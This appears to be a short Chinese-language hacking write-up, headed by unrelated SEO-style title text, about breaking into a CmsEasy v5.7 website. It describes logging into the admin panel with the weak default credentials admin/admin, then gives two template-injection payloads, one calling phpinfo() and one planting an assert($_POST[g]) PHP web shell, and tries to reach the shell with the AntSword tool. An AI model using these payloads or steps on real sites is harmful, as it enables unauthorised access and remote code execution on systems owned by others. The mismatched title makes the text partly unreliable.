企业网站管理系统推荐网络营销战略规划

访问主页

 到处点一点没啥发现

扫目录

访问/admin

账号密码都是admin admin(弱口令)

登录成功

看到左边列表有模板，心里大概有数了哈

进行一波历史漏洞的查

 CmsEasy_v5.7 漏洞测试

payload1:

1111111111";}<?php phpinfo()?>

 

 

payload2:

11";}<?php assert($_POST[g]);?>

然而蚁剑连不上

在页面里post传g=phpinfo();可以执行

但g=system('xxx');却不能执行（没有disable_functions）

挺奇怪的，可能不是linux系统？